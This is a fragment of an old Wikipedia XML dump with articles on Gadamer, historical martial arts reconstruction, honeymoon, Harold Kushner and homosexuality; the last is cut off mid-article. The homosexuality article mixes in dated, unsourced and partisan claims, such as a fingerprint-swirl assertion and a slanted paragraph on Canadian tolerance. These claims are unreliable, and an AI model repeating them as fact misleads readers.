''Truth and Method'' was published twice in English, and the revised edition is now considered authoritative. The German-language edition of Gadamer's Collected Works includes a volume in which Gadamer elaborates his argument and discusses the critical response to the book. Finally, Gadamer's essay on [[Celan]] (entitled &quot;Who Am I and Who Are You?&quot;) is considered by many -- including [[Heidegger]] and Gadamer himself -- as a &quot;second volume&quot; or continuation of the argument in ''Truth and Method''.

In addition to his work in hermeneutics, Gadamer is also well known for a long list of publications on Greek philosophy. Indeed, while ''Truth and Method'' became central to his later career, much of Gadamer's early life centered around studying the classics. His work on Plato, for instance, is considered by some to be as important as his work on hermeneutics.

==Quotes==
*''Nothing exists except through language.''

*''I basically only read books that are over 2,000 years old.'' 

*''In fact history does not belong to us; but we belong to it.  Long before we understand ourselves through the process of self-examination, we understand ourselves in a self-evident way in the family, society and state in which we live.  The focus of subjectivity is a distorting mirror.  The self-awareness of the individual is only a flickering in the closed circuits of historical life.  That is why the prejudices [pre-judgments (Vorurteil)] of the individual, far more than his judgments, constitute the historical reality of his being.'' (Gadamer 1989:276-7, tr.)

*''The more language is a living operation, the less we are aware of it.  Thus it follows from the self-forgetfulness of language that its real being consists in what is said in it.  What is said in it constitutes the common world in which we live and to which the whole great chain of tradition reaching us from the literature of foreign languages, living as well as dead.  The real being of language is that into which we are taken up when we hear it &amp;mdash; what is said.'' (Gadamer 1976:33 tr.)

== Bibliography ==
*Hans-Georg Gadamer: A Biography. By Jean Grondin. Yale University Press. 2004
*Philosophical Apprenticeships. By Hans-Georg Gadamer. MIT Press. 1985 ''(Gadamer's memoir)''Ġ

==See also==
*[[Hermeneutics]]
*[[Radical hermeneutics]]
*[[Interpretation]]
*[[Emilio Betti]]
*[[Friedrich Schleiermacher]]
*[[Wilhelm Dilthey]]
*[[Rudolf Bultmann]]
*[[Historical School]]
*[[Ranke]]
*[[Heidegger]]
*[[Derrida]]
*[[Habermas]]
*[[Critical Theory]]
*[[Frankfurt School]]
*[[Augustine of Hippo]]
*[[Luther]]
*[[Paul Ricoeur]]

==External links==
*[http://plato.stanford.edu/entries/gadamer/ Hans-Georg Gadamer at Stanford Encyclopedia of Philosophy]
*[http://www.svcc.edu/academics/classes/gadamer/gadamer.htm Hans-Georg Gadamer website]
*[http://www.ms.kuki.tus.ac.jp/KMSLab/makita/gdmhp/ghp_kchrono_d.html Chronology (in German)]
*[http://www.ms.kuki.tus.ac.jp/KMSLab/makita/gdmhp/ghp_wwerk_d.html Works by Gadamer]


[[Category:1900 births|Gadamer, Hans-Georg]]
[[Category:2002 deaths|Gadamer, Hans-Georg]]
[[Category:20th century philosophers|Gadamer, Hans-Georg]]
[[Category:Hermeneutics|Gadamer, Hans-Georg]]
[[Category:Centenarians|Gadamer, Hans-Georg]]
[[Category:Philosophers|Gadamer, Hans-Georg]]
[[Category:Continental philosophers|Gadamer, Hans-Georg]]
[[Category:German philosophers|Gadamer, Hans-Georg]]
[[Category:Humanists|Gadamer, Hans-Georg]]

[[da:Hans-Georg Gadamer]]
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[[lt:Hansas Georgas Gadameris]]
[[nl:Hans-Georg Gadamer]]
[[ja:ハンス・ゲオルク・ガダマー]]
[[no:Hans-Georg Gadamer]]
[[pl:Hans-Georg Gadamer]]
[[ro:Hans-Georg Gadamer]]
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[[sv:Hans-Georg Gadamer]]</text>
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  <page>
    <title>HomePage.</title>
    <id>13989</id>
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      <id>21556835</id>
      <timestamp>2005-08-22T07:25:36Z</timestamp>
      <contributor>
        <username>Markaci</username>
        <id>151070</id>
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      <comment>rv [[Special:Contributions/Adamwankenobi|Adamwankenobi]] -&gt; Zundark (rv redirect to [[Nirvana]])</comment>
      <text xml:space="preserve">#REDIRECT [[Main_Page]]</text>
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  <page>
    <title>Historical martial arts reconstruction</title>
    <id>13990</id>
    <revision>
      <id>41798066</id>
      <timestamp>2006-03-01T20:47:29Z</timestamp>
      <contributor>
        <ip>80.221.26.232</ip>
      </contributor>
      <comment>literature</comment>
      <text xml:space="preserve">'''Historical martial arts reconstruction'''s are attempts at reviving [[martial arts]] with no living tradition. In recent years, with the resurgence of interest in martial arts, schools of fighting long since discontinued have generated enough interest for individuals and organizations to reconstruct them from historical sources.

The reconstruction of a martial art is very difficult indeed, and opinions on how it is best done differ quite a lot. Usually, written material is used, along with paintings and diagrams of movement. This is, however, usually not enough to capture the dynamics of a martial art, and practical experimentation becomes necessary.  Normally the people attempting to reconstruct a martial art have experience in some other, similar martial art with a living tradition, and they normally fill in the gaps with this martial art.

Examples of martial arts reconstruction are [[Pankration]] and the various historical [[Historical European Martial Arts|European schools]] of fencing. The term '''Historical fencing''' refers to any fencing system that was in use before the development of the three classical [[fencing]] weapons. 

==Literature==
*Brian R. Price, ed. ''Teaching &amp; Interpreting Historical Swordsmanship'',   ISBN 1-891448-46-3 (2005)
*Guy Windsor,  ''The Swordsman's Companion: A Modern Training Manual for Medieval Longsword'', ISBN 1-891448-41-2 (2004)

==See also==
*[[Historical European Martial Arts]]
*[[German school of swordsmanship]]
*[[Italian school of swordsmanship]]
*[[Destreza|Spanish school of swordsmanship]]
*[[fencing]]
*[[Association for Renaissance Martial Arts]]

==External links==
* [http://www.aemma.org/ Academy of European Medieval Martial Arts (AEMMA)]
* [http://www.ahfi.org/ The Association for Historical Fencing (AHF)]
* [http://www.thearma.org/ The Association for Renaissance Martial Arts (ARMA)]
* [http://www.chicagoswordplayguild.com/ The Chicago Swordplay Guild (CSG)]
* [http://www.chivalrybookshelf.com/ Chivalry Bookshelf]
* [http://www.higginssword.org/ Higgins Armory Sword Guild]
* [http://www.scherma-antica.org/ Italian Historical Fencing Federation]
* [http://www.achillemarozzo.it/ Sala d'Arme Achille Marozzo - Ancient Fencing Art Italian Institute]


[[Category:Fencing]]
[[Category:Historical European martial arts]]


{{martialart-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Honeymoon</title>
    <id>13991</id>
    <revision>
      <id>40923123</id>
      <timestamp>2006-02-23T22:27:26Z</timestamp>
      <contributor>
        <username>BL Lacertae</username>
        <id>341494</id>
      </contributor>
      <minor />
      <comment>not a stub</comment>
      <text xml:space="preserve">A '''honeymoon''' is the traditional trip taken by newlyweds to celebrate their [[marriage]], and presumably, [[consummate]] it.  Today, honeymoons are often celebrated in places that are secluded, exotic, warm, or otherwise considered special and romantic &amp;mdash; for example, warm, sunny beaches, scenic coastlines, and mountain retreats.

==The origin of the word ''honeymoon''==
{{wiktionarypar|honeymoon}}
The ''[[Oxford English Dictionary]]'' offers no [[etymology]] at all, but dates the word back to the 16th century:

:&quot;The first month after marriage, when there is nothing but tenderness and pleasure&quot; ([[Samuel Johnson]]); originally having no reference to the period of a month, but comparing the mutual affection of newly-married persons to the changing moon which is no sooner full than it begins to wane; now, usually, the holiday spent together by a newly-married couple, before settling down at home

One of the oldest citations in the ''OED'' indicates that, while today ''honeymoon'' has a positive meaning, the word  was actually a sardonic reference to the inevitable waning of love like a [[moon phase|phase of the moon]]. This, the first literary reference to the honeymoon was penned in 1552, in Richard Huloet's ''Abecedarium Anglico Latinum''.  Huleot writes:&lt;blockquote&gt;&lt;i&gt;Hony mone, a terme proverbially applied to such as be newe maried, whiche wyll not fall out at the fyrste, but thone loveth the other at the beginnynge excedyngly, the likelyhode of theyr exceadynge love appearing to aswage, ye which time the vulgar people cal the hony mone&lt;/i&gt;&lt;/blockquote&gt;(&quot;Honeymoon, a term proverbially applied to the newly-married, who will not fall out (quarrel) at first, but they love the other at the beginning exceedingly, the likelihood of their exceeding love appearing to assuage [any quarrels]; this time is commonly called the honeymoon&quot;).

It has also been said that the origins of this word date back to the times of Babylon.  In order to increase the virility and fertility of the newlyweds, the father of the bride would provide his son in law with all the [[mead]] (a honey-based drink) he could drink during the first month of the marriage (and therefore &quot;moon&quot;).  

Another two possible explanations of the word honeymoon are to do with the date that weddings traditionally took place. Weddings once commonly took place upon the Summer [[solstice]] both for religious reasons earlier on and also for the practical reason that it was the time between the main planting and harvesting of crops. As it was at this time of year that honey was first harvested it is possible that this is the source. Another alternative is that &quot;Honey Moon&quot; is a name given to the moon when its path is close to the southern horizon. Its light shines though the haze and dust of our atmosphere giving its light a honey color for the whole month.

[[Category:Wedding]]

[[de:Flitterwochen]]
[[es:Luna de miel]]
[[nl:Huwelijksreis]]
[[ja:新婚旅行]]
[[zh:蜜月]]</text>
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  </page>
  <page>
    <title>Harold Kushner</title>
    <id>13992</id>
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      <id>39185396</id>
      <timestamp>2006-02-11T08:15:20Z</timestamp>
      <contributor>
        <username>Defrosted</username>
        <id>100483</id>
      </contributor>
      <comment>Expansion, external link, categories</comment>
      <text xml:space="preserve">'''Harold Kushner''' is a prominent [[United States|American]] [[rabbi]] aligned with the progressive wing of [[Conservative Judaism]].  Born in [[Brooklyn, New York|Brooklyn]], Kushner was educated at [[Columbia University]] and later obtained his rabbinical ordination from the [[Jewish Theological Seminary of America|Jewish Theological Seminary]] (JTS) in 1960.  The same institution awarded him a doctoral degree in Bible in 1972.  Kushner has also studied at the [[Hebrew University of Jerusalem]], taught at [[Clark University]] and the Rabbinical School of the JTS, and received six [[honorary doctorates]].  He served as the long time congregational rabbi of Temple Israel in [[Natick, Massachusetts]] for twenty-four years and belongs to the [[Rabbinical Assembly]].

He is the author of the immensely popular book on liberal [[theology]], ''When Bad Things Happen to Good People'', which was widely read not just in Jewish circles, but became a best seller due to its adoption by many [[Liberal Christianity|liberal Protestant Christians]] as well.  This book deals with questions about [[God]], [[Omnipotence]] and [[Theodicy]].

Kushner has written a number of other popular theological books, such as ''How Good Do We Have to Be?'', ''To Life!'' and many others.  In collaboration with the late [[Chaim Potok]], Kushner co-edited ''Etz Hayim: A Torah Commentary'', the new official [[Torah]] commentary of the [[Conservative Judaism|Conservative movement]], which was jointly published in [[2001]] by the [[Rabbinical Assembly]] and the [[Jewish Publication Society]].  His ''Living a Life That Matters'' became a best seller in the fall of 2001.  His most recent book, ''The Lord Is My Shepherd'', was a meditation on the [[Psalm 23|twenty-third psalm]] released in 2003.

==External links==
*[http://www.vbs.org/rabbi/hmsinstitute/hmsscholar/Biographies/Rabbi_Harold_S_Kushner.html Biography from Congregation Valley Beth Shalom, Encino CA]

[[nl:Harold Kushner]]

[[Category:Conservative rabbis|Kushner, Harold]]
[[Category:Jewish American writers|Kushner, Harold]]
[[Category:Columbia alumni|Kushner, Harold]]</text>
    </revision>
  </page>
  <page>
    <title>Homosexuality</title>
    <id>13993</id>
    <revision>
      <id>42148239</id>
      <timestamp>2006-03-04T03:25:35Z</timestamp>
      <contributor>
        <username>Naconkantari</username>
        <id>676502</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Welovedourdaughterbutshewasevil|Welovedourdaughterbutshewasevil]] ([[User talk:Welovedourdaughterbutshewasevil|talk]]) to last version by Naconkantari</comment>
      <text xml:space="preserve">&lt;!-- Note:

This is not a list of homosexuals. Please do not add names to this article. Thank you.



--&gt;
{{Sexual orientation}}
Since the first coinage, the word '''homosexuality''' has acquired multiple meanings. In the original sense, it describes a [[sexual orientation]] characterised by lasting [[Aesthetics|aesthetic]] attraction, [[romantic love]], or [[sexual attraction|sexual desire]] exclusively for others of the same [[sex]] or [[gender]].  

Homosexuality is usually contrasted with [[heterosexuality]] and [[bisexuality]].  Homosexual men and women are called ''[[gay]]''. ''[[Lesbian]]'' is a gender-specific term for homosexual women. The adjective homosexual is also used for same-sex [[human sexual behavior|sexual relations]] between persons of the same sex who are not gay or lesbian.  Three major forms of homosexual relationships are proposed by anthropologists: [[gay community|egalitarian]], [[two-spirit|gender-structured]], and [[pederasty|age-structured]]. Of these, one is usually dominant in a given society at a given time. (See [[#Forms|Forms]] below.) As there are different biological, historical and psychosocial components to sex and gender, no single label or description will fit all individuals. ''See discussions on sex and gender at [[sex]] and [[homosexuality and transgender]]''.

[[Religion]] often addresses same-sex relations, and the issue continues to be widely debated in modern religious politics. The scriptures of the [[Abrahamic Religions]] are traditionally interpreted to condemn some of its aspects, though many [[denominations]] and groups within these religions now and in the past have taken a different view. The world's first recorded laws concerning same-sex relations were religious in nature: In ancient [[Greece]], [[Greek religion]] consecrated pedagogic erotic love, symbolized by the love between [[Zeus]] and [[Ganymede]] and other such [[Greek mythology|myths]]. Ancient [[Judaism]] (the first [[Abrahamic]] faith) had the first rule banning intercourse between men as part of the moral code given in the [[Torah]]. Until the spread of [[Christianity]] and [[Islam]], most religions made no distinction between homosexual and heterosexual relations. 

[[Image:Hyakinthos.jpg|thumb|''[[Zephyrus]] and [[Hyacinthus]]''&lt;br&gt; [[Attica|Attic]] [[red figure|red-figure]] cup from [[Tarquinia]], circa 480 BCE. Boston Museum of Fine Arts.]]

==Etymology and usage==
{{main|Terminology of homosexuality}}

The word ''homosexual'' translates literally as &quot;same-sex,&quot; being a [[hybrid word|hybrid]] of the [[Greek language|Greek]] prefix ''homo-'' meaning &quot;same&quot; and the Latin root ''sex-'' meaning &quot;sex.&quot; The first known appearance of the term ''homosexual'' in print is found in an anonymously published [[1869]] German pamphlet written by the Austrian-born novelist [[Karl-Maria Kertbeny]].

The term ''homosexual'' can be used as a noun or adjective to describe persons as well as their sexual orientation, sexual history, or self-identification.  Since ''homosexual'' places emphasis on sexuality, it should be avoided in reference to non-sexual contexts.  Some people also feel the term is too clinical and somewhat dehumanising. Much of that sentiment arose while homosexuality was still classified as a mental illness in the [[Diagnostic and Statistical Manual of Mental Disorders]]. As a result of this sentiment the terms ''gay'' and ''lesbian'' are generally preferred when discussing a person with this [[sexual orientation]].  The first letters are frequently combined to create the acronym &quot;LGBT&quot; (B = bisexual, T = transgender).  Some same-sex oriented persons actually prefer the term homosexual to gay, as they may perceive the former as describing a sexual orientation and the latter as describing a cultural or socio-political group with which they do not identify.   

Although some early writers used the adjective ''homosexual'' to refer to any single-gender context (such as an all-girls' school), today the term implies a sexual aspect.  The term ''homosocial'' is now used to describe single-sex contexts that are not specifically sexual. The more generic term ''homophilia'' (&quot;same-love&quot;) is also preferred by some.

Derogatory terms include ''fag'' or ''[[faggot (slang)|faggot]],'' which generally refer to gay men; ''poofter,'' is used mostly in the [[United Kingdom]] and the Commonwealth; ''[[queer]]'' is generally used against anyone who is not exclusively heterosexual, but also reclaimed as an affirming term by many gays and academics; ''gay'', ''homo,'', and &quot;queer&quot;, which are common abusive terms among adolescents; and ''[[dyke (lesbian)|dyke]],'' which refers to lesbians. ''See [[Homophobia]]''

Given how confusing and overloaded various terms can be, when specificity is important new terms are starting to be pressed into service.  For example, ''[[men who have sex with men]],'' or ''MSM'' for short, is sometimes used in the medical community when specifically discussing sexual behaviour (regardless of sexual orientation or self-identification). ''[[Same-sex attraction]]'' focuses on spontaneous feeling, but de-emphasises identification with a demographic or cultural group, and also leaves open the possibility for co-existing opposite-sex attraction. ''[[Homoerotic]]'' is a synonym for ''[[same-sex attraction]]'', that is used to refer both to personal feelings and works of art. ''Non-straight'' is another attempt at neutrality that is gaining currency. Some other humorous terms are now gaining weight, including ''[[heteroflexible]]'' to refer to a person who identifies as heterosexual, but occasionally engages in same-sex sexual activities, or ''[[metrosexual]]'' to denote a straight man with stereotypically gay tastes in food, fashion and design.

==Academic study==
The manifestation of sexual orientation is subject to a considerable variability.  Thus it is common for homosexual individuals in [[heteronormativity|heteronormative]] societies to love, marry, and have children with individuals of the opposite sex, a practice that may be done primarily for social reasons in societies which reject same-sex relations, as a cover for one's orientation (such relationships are known as &quot;beards&quot;). These adaptations are forms of [[situational sexual behavior]]. A further, and extremely common, manifestation of situational sexual behaviour involving homosexual acts is seen in [[prison sexuality|prisons]] where individuals only encounter caged members of their own sex for long periods of time.

===Anthropology===
====Forms====
Numerous researchers studying the social construction of [[same-sex relationships]] have suggested that the concept of homosexuality would best be rendered as &quot;homosexualities.&quot; They document that same-sex relations have been and continue to be organised in distinctly categorical ways by different societies in different eras. These variations are grouped by [[cultural anthropology|cultural anthropologist]] Stephen O. Murray into three separate modes of association:

* '''Egalitarian''', features two partners with no relevance to age. Additionally, both play the same socially-accepted sex role as [[heterosexuality|heterosexuals]] of their own sex. This is exemplified by relationships currently prevalent in western society between partners of similar age and gender. ''See [[Sexual minority cultures]]''

* '''Gender structured''' features each partner playing a different [[gender role]]. This is exemplified by traditional relations between men in the [[Mediterranean Basin]], the [[Middle East]] and [[Central Asia|Central]] and [[South Asia|South]] [[Asia]], as well as [[two-spirit]] or shamanic gender-changing practices seen in native societies. [[Albania]] also has a similar practice where a woman may choose to be an &quot;[[Albanian Virgin]]&quot; and be given all the rights and entitlements of a man. In North America, this is best represented by the [[butch and femme|butch/femme]] practice. ''See [[Homosexuality and Islam]], [[Two-Spirit]], and [[Hijra]]''

* '''Age structured''' features partners of different ages, usually one adolescent and the other adult. This is exemplified by [[pederasty]] among the [[Hellenic civilization|Classical Greeks]] or those engaged in by novice [[samurai]] with more experienced warriors; southern Chinese boy-marriage rites; and ongoing Central Asian and Middle Eastern practices. ''See [[Shudo]], [[Pederasty]], [[Historical pederastic couples]], and  [[Homosexuality in China]].''

Both gender-structured and age-structured homosexuality frequently involve one partner adopting a &quot;passive&quot; and the other an &quot;active&quot; role. Among men, being the passive partner often means receiving [[semen]], i.e. performing fellatio or being the receptive partner during [[anal sex]]. This is sometimes interpreted as an emphasis on the sexual pleasure of the active partner, although this is not true in all cases. For example, in gender-structured female homosexuality in [[Thailand]], active partners (''toms'') emphasise the sexual pleasure of the passive partner (''dee''), and often refuse to allow their ''dee'' to pleasure them. 

Some anthropologists have argued for the existence of a fourth type of homosexuality, [[social class|class]]-structured homosexuality, but many scholars believe that this has no independent existence from the other three types.

Usually in any society one form of homosexuality predominates, though others are likely to co-exist. As historian Rictor Norton points out in his [http://www.infopt.demon.co.uk/social19.htm ''Intergenerational and Egalitarian Models,''] in Ancient Greece egalitarian relationships co-existed (albeit less privileged) with the institution of [[pederasty]], and fascination with adolescents can also be found in modern sexuality, both heterosexual and homosexual.  Egalitarian homosexuality is becoming the principal form  practised in the Western world, while age- and gender-structured homosexuality are becoming less common. As a byproduct of Western cultural dominance, this egalitarian homosexuality is spreading from western culture to non-Western societies, although there are still defined differences between the various cultures.

====Incidence====
{{main|Demographics of sexual orientation}}

Estimates of the modern prevalence of homosexuality vary considerably. They are complicated by differing or even ambiguous definitions of ''homosexuality'', and by fluctuations over time and according to location.

General estimates on the number of those surveyed who identify themselves as lesbian or gay range from 1% to 10% of the population.  The [[Kinsey Reports]] of [[1948]] assessed that between 90 to 95 percent of the population were &quot;to a certain degree [[bisexual]].&quot;

In the [[United States]] during the [[2004 elections]], exit polls indicated 4% of all voters self-identified as gay or lesbian.  However, due to societal pressures, many who are homosexual may not be willing to identify as such, as evident in the recent forced &quot;[[outing]]s&quot; of New Jersey Governor [[Jim McGreevey]] and Spokane, Washington, Mayor [[James E. West|Jim West]]. {{ref|exit_polls}}

In [[North Africa]], the [[Middle East]] and [[Central Asia]], where gender- and age-structured relationships are the rule, male homosexual practices are reported to be widespread, engaged in by many individuals who do not regard themselves as homosexual. ''See [[Homosexuality and Islam]]''

Historically, in areas where same-sex relationships were embedded in the culture, such as [[Ancient Greece]], [[Ancient Rome]], parts of [[Melanesia]], [[Renaissance]] [[Italy]], and pre-modern [[Japan]], homosexual relationships were engaged in by a majority of the male population. ''See [[Pederasty]]''

{{see|Anthropological classification of homosexuality}}

===Biology===
{{main|fetal hormones and sexual orientation}}

====Prenatal hormonal theory====
One recent hypothesis on the formation of sexual orientation is the prenatal hormonal theory. It holds that as prenatal exposure to particular levels of circulating sex hormones determines whether a fetus will acquire male or female traits, so similar exposure determines sexual orientation. However this begins with genetic susceptibility. Twin studies provide strong support for this theory, with a high concordance rate in identical twins, who share 100% of their genetic material. Fraternal twins, as with siblings born at different times, share only 50% of their genetic material on average and are much less likely to both be homosexual. In a fetus that carries the genetic susceptibility for homosexuality, sex hormones from the mother and sex hormones from the gonads of the fetus (to a lesser extent) trigger the expression of those genes. 

Although identical twins have identical genes and almost always share a placenta, they do have their individual umbilical cords, providing subtle differences in the chemical environment for the developing brain. There are differences in identical twins, such as fingerprints, which are unique in each individual. Fingerprints are formed during the second trimester of pregnancy; lesbians often share a unique fingerprint swirl, adding to the mounting evidence that homosexuality is caused by genetic susceptibility triggered by the prenatal hormonal environment.

====Physiological differences in homosexual persons====
Several recent studies, including pioneering work by [[Simon LeVay]], demonstrate that there are notable differences between the physiology of a heterosexual male and a homosexual male. These differences are primarily noted in the [[brain]], [[inner ear]] and [[olfactory]] sense. LeVay discovered in his double-blind experiment that approximately 10% of human male brains were physiologically different than their heterosexual counterparts.

Studies in women have not produced similar findings to date.

====Homosexual behavior in animals====
{{main|Non-human animal sexuality}}

[[Image:Gay penguins NY Zoo.jpg|frame|'''Squawk and Milou'''&lt;br&gt; Male chinstrap penguins, one of several homosexual pairs at the [[Central Park Zoo]] in [[Manhattan]].]]

Homosexual behaviour is common in the [[animal]] kingdom, especially in species closer to humans on the evolutionary scale, such as the [[hominid|great apes]]. [[Georgetown University]] professor [[Janet Mann]] has specifically theorised that homosexuality, at least in [[dolphin]]s, is an evolutionary advantage that minimises intraspecies aggression, especially among males. 

*Male [[penguin]] couples have been documented to mate for life, build nests together, and to use a stone as a [[wiktionary:surrogate|surrogate]] egg in nesting and brooding.  In [[2004]], the [[Central Park Zoo]] in the [[United States]] replaced one male couple's stone with a fertile egg, which the couple then raised as their own offspring. {{ref|Central_Park_penguin}} [[Germany|German]] and [[Japan|Japanese]] [[zoo]]s have also reported homosexuality among their penguins. This phenomenon has also been reported at Kelly Tarlton's Aquarium in [[Auckland]], [[New Zealand]]. {{ref|Auckland_penguin}}

*Courtship, mounting, and full [[anal sex|anal penetration]] between bulls is common among [[American bison]]. The [[Mandan]] nation Okipa festival concludes with a ceremonial enactment of this behaviour, to &quot;ensure the return of the buffalo in the coming season.&quot; {{ref|Bagemihl}} Also, mounting of one female by another is common among [[cow|cattle]]. (See also, [[Freemartin]].  Freemartins occur because of clearly causal hormonal factors at work during gestation.)

*Homosexuality in male sheep (found in 6-10% of rams) is associated with variations in cerebral mass distribution and chemical activity.  A study reported in ''[[Endocrinology (journal)|Endocrinology]]'' concluded that biological and physiological factors are in effect. {{ref|sheep_study}} These findings are similar to human findings studied by [[Simon LeVay]].

===Psychology===
====Behavioural Studies====
{{main|Kinsey Reports}}

At the beginning of the 20th century, early theoretical discussions in the field of [[psychoanalysis]] posited original [[bisexuality]] in human psychological development.  Quantitative studies by [[Alfred Kinsey]] in the [[1940s]] and [[Fritz Klein|Dr. Fritz Klein]]'s sexual orientation grid in the [[1980s]] find distributions similar to those postulated by their predecessors.
 
Many modern studies, most notably ''Sexual Behavior in the Human Male'' {{ref|Kinsey_male}} and ''Sexual Behavior in the Human Female'' {{ref|Kinsey_female}} by [[Alfred Kinsey]], have found that the majority of humans have had homosexual experiences or sensations and are bisexual. Contemporary scientific research suggests that the majority of the human population is bisexual, adhering to a fluid sexual scale rather than a category, as Western society typically views sexual nature. The [[Kinsey Reports]] found that approximately [http://www.indiana.edu/~kinsey/publications/duberman.html four percent] of adult Americans were exclusively homosexual for their entire lives, and approximately 10 percent were homosexual in their behaviour for some portion of their lives. Conversely, an even smaller minority of people appear to have had equal sexual experiences with both genders indicating an attraction scale or continuum. However, social pressures influence people to adhere to categories or labels rather than behave in a manner that more closely resembles their nature as suggested by this research.

Kinsey himself, along with current [[Queer Theory|queer activist]] groups, focus on the historicity and fluidity of sexual orientation. Kinsey's studies consistently found sexual orientation to be something that evolves in many directions over a person's lifetime; rarely, but not necessarily, including forming attractions to a new gender.  Rarely do individuals radically reorient their sexualities rapidly — and still less do they do so volitionally — but often sexualities expand, shift, and absorb new elements over decades.  For example, socially normative &quot;age-appropriate&quot; sexuality requires a shifting object of attraction (especially in the passage through adolescence). Contemporary [[queer theory]], incorporating many ideas from [[social constructionism]], tends to look at sexuality as something that has meaning only within a given historical framework.  Sexuality, then, is seen as a participation in a larger social discourse, and, though in some sense fluid, not as something strictly determinable by the individual.

Most sexual orientation specialists follow the general conclusion of Alfred Kinsey regarding the sexual continuum, according to which a minority of humans are exclusively homosexual or [[heterosexuality|heterosexual]], and that the majority are [[bisexuality|bisexual]]. The consensus of psychologists is that sexual orientation, in most individuals, is shaped at an early age; and is not voluntarily changeable. 

Other studies have disputed Kinsey's methodology and have suggested that these reports overstated the occurrence of bisexuality and homosexuality in human populations. &quot;His figures were undermined when it was revealed that he had disproportionately interviewed homosexuals and prisoners (many sex offenders).&quot;{{ref|Kinsey}} {{ref|revisiting}}

However, Kinsey's idea of a sexuality continuum still enjoys acceptance today and is supported by findings in the human and [[animal kingdom]]s including biological studies of structural brain differences between those belonging to different sexual orientations.

More modern and precise research ''Sex in America: A definitive survey'' ([[1995]]) is now available from NORC and the University of Chicago by [[Edward O. Laumann, University of Chicago]]. &quot;Results reported from the study, and included in The Social organisation of sexuality, include those related to sexual practices and sexual relationships, number of partners, the rate of homosexuality in the population (which the study reported to be 1.3% for women within the past year, and 4.1% since 18 years; for men, 2.7% within the past year, and 4.9% since 18 years.

Sexologists have attributed discrepancies in some findings to negative societal attitudes towards homosexuality. For example, people may state different sexual orientations depending on whether their immediate social environment is public or private. Reluctance to disclose one's actual sexual orientation is often referred to as &quot;being in the closet&quot;. Individuals capable of enjoyable sexual relations with both sexes may feel inclined to restrict themselves to heterosexual relations in societies that stigmatise same-sex relations.

Although the concept of three basic sexual orientations is widely recognised, a small minority maintain that there are other legitimate sexual orientations besides homosexuality, bisexuality and heterosexuality. These may include significant or exclusive orientation towards a particular type of transsexual or transgender individual (e.g. female-to-male transsexual men), intersexed individuals, or those who identify as non-gendered or other-gendered.

====Behaviour modification====
{{main|Ex-gay}}   

Some groups attempt to &quot;cure&quot; homosexuality, claiming to be able to help homosexuals to overcome their homosexual tendencies.  These groups are often Abrahamic congregations which interpret their sacred texts as holding homosexuality to be unnatural or sinful, and which consider homosexuality to be an undesired orientation. [[Reparative therapy]] is psychotherapy aimed at the elimination of homosexual attractions and is employed by people who claim that homosexuality is a disorder or a sin. A &quot;transformational ministry&quot; claims that homosexual behavior is essentially a sin that can be overcome through a religious approach employing repentance and faith. 

There is no credible, scientific evidence supporting successful &quot;treatment&quot; of sexual orientation, and some persons have reported that great harm was inflicted on them by such &quot;treatments.&quot; [http://www.outfront.org/library/fact.html]. &quot;[[Ex-gay]]&quot; supporters point to others [http://www.narth.com/menus/interviews.html] who they say have experienced what they consider success; however, mainstream medical and psychological organizations reject such claims and consider attempts to change sexual orientation to be potentially harmful.

===Nature versus nurture===
{{main|Biology and sexual orientation}}

Considerable debate exists over whether biological and/or psychological factors produce sexual orientation in humans.  Candidates include [[Biology and sexual orientation#Empirical studies|genes]] and the exposure of fetuses to certain [[Biology and sexual orientation#Early fixation hypothesis|hormones]] (or levels thereof).  Historically, Freud and many others psychologists, particularly in psychoanalytic or developmental traditions, speculated that formative childhood experiences help produced sexual orientation; as an example Freud believed that all human teenagers are predominantly homosexual and transistion to heterosexuality in adulthood; those who remain homosexual as adults he believed had experienced some traumatic event that arrested their sexual development; however, he did believe all adults, even those who had healthy sexual development still retained latent homosexuality to varying degrees. The modern scientific and medical consensus is that biological factors &amp;mdash; whether genetic or acquired ''in utero'' &amp;mdash; produce characteristically homosexual childhood experiences (such as atypical gender behaviour experiences), or at the least significantly contribute to them.

==Homosexuality and society==
{{main|Societal attitudes towards homosexuality}}
[[Societal attitudes towards homosexuality|Societal attitudes towards same-sex relationships]], reflected in the attitude of the general population, the state and the church, have varied over the centuries, and from place to place, from expecting and requiring all males to engage in relationships, to casual integration, through acceptance, to seeing the practice as a minor sin, repressing it through law enforcement and judicial mechanisms, to proscribing it under penalty of death. 

Most nations do not impede consensual sex between unrelated individuals above the local [[age of consent]]. Some jurisdictions further recognise identical rights, protections, and privileges for the family structures of same-sex couples, including [[same-sex marriage|marriage]]. Some nations mandate that all individuals restrict themselves to heterosexual relationships. In some jurisdictions homosexuality is illegal.  Offenders face up to the death penalty in some fundamentalist Muslim areas such as [[Iran]] and parts of [[Nigeria]]. There are often significant differences between official policy and real-world enforcement.
''See [[Violence against gays, lesbians, bisexuals, and the transgendered]]''.

===Coming out===
{{main|Coming out}}

Many people who feel attracted to members of their own sex have a so-called coming out at some point in their lives.  Generally, coming out is described in two phases.  The first phase is the phase of &quot;knowing oneself,&quot; and the realization or decision emerges that one is open to same-sex love.  This is often described as an internal coming out. The second phase involves one's decision to come out to others, e.g. family, friends, and/or colleagues. This occurs with many people as early as age 11, but others do not clarify their sexual orientation  until age 40 or older.  Most have their coming out during school age, so sometime during the time of puberty.  At this age, they may not trust or ask for help from others, especially when their orientation is not accepted in society.  Sometimes their own parents are not even informed.  Coming out can sometimes lead to a life crisis, which can elevate to suicidal thoughts or even committing suicide.  Crisis centers in larger cities and information sites on the Internet can help these people to accept their homosexuality.  In fact, the suicide rate is notably higher with pubescent homosexuals than their heterosexual peers.

===Modern law===
{{main|Homosexuality laws of the world}}

In most developed countries, same-sex relationships are accepted, and are accorded legal protection. Many governments have established formal structures for confirming legal relationships (either as marriage or partnership) between people of the same sex.

In some cultures influenced by religious teachings against homosexuality, it is still considered unnatural, a [[perversion]] and has been outlawed (see [[sodomy law]], [[public order crime|victimless crime]]). In some [[Muslim]] nations (such as [[Iran]]) it remains a [[capital crime]].

For example, the Canadian government and media are pushing same-sex tolerance on the basis of human rights. The media's argument for social acceptance of same-sex relationships is that homosexuals were born homosexual. However, the fact that homosexuality has never been proven to be linked to genetics makes it difficult for some people to change their moral stance on homosexuality. The push for same-sex tolerance has created intolerance for religious and social groups who are opposed to same-sex. Religious groups also fear that same-sex tolerance is a step toward tolerance of other currently unaccepted sexual preferences such as polygamy and incest. Many people in religious groups recognize other people's rights to choose a same-sex relationship, but also believe a choice for an active homosexual life is a choice against their religion.

===Understudied phenomena===
